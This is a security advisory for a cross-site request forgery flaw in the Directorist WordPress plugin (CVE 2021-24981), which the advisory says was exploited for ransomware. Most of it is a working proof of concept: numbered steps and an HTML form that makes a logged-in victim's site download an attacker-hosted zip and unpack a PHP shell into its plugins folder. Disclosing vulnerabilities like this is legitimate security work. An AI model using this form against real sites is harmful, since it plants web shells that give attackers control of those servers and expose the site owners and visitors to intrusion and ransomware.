Directorist – Business Directory Plugin < 7.0.6.2 – CSRF to Remote File Upload | CVE 2021-24981

Description

The plugin was vulnerable to Cross-Site Request Forgery to Remote File Upload leading to arbitrary PHP shell uploads in the wp-content/plugins directory.

This vulnerability was seen actively exploited by Sucuri in the wild for ransomware attacks.

Proof of Concept

1. Authenticate as any user.
2. Paste below HTML into any page on any site.
3. Replace [target-site] with the target URL.
4. Repalce [site-with-payload-zip] with the URL hosting your zip file and submit the form.
5. Zip file contents will be extracted in plugins folder https://[target-site].com/wp-content/plugins/payload/shell.php

<form action="https://[target-site].com/wp-admin/admin-ajax.php" method="post">
  <input type="text"  name="action" value="atbdp_download_file"><br>
    <input type="text"  name="download_item[download_link]" value='https://[site-with-payload-zip].com/payload.zip'><br>    
    <input type="text"  name="download_item[skip_licencing]" value='true'><br> 
    <input type="text"  name="download_item[permalink]" value='true'><br>    
    <input type="text"  name="type" value="plugin"><br>
  <input type="submit" value="Submit">
</form>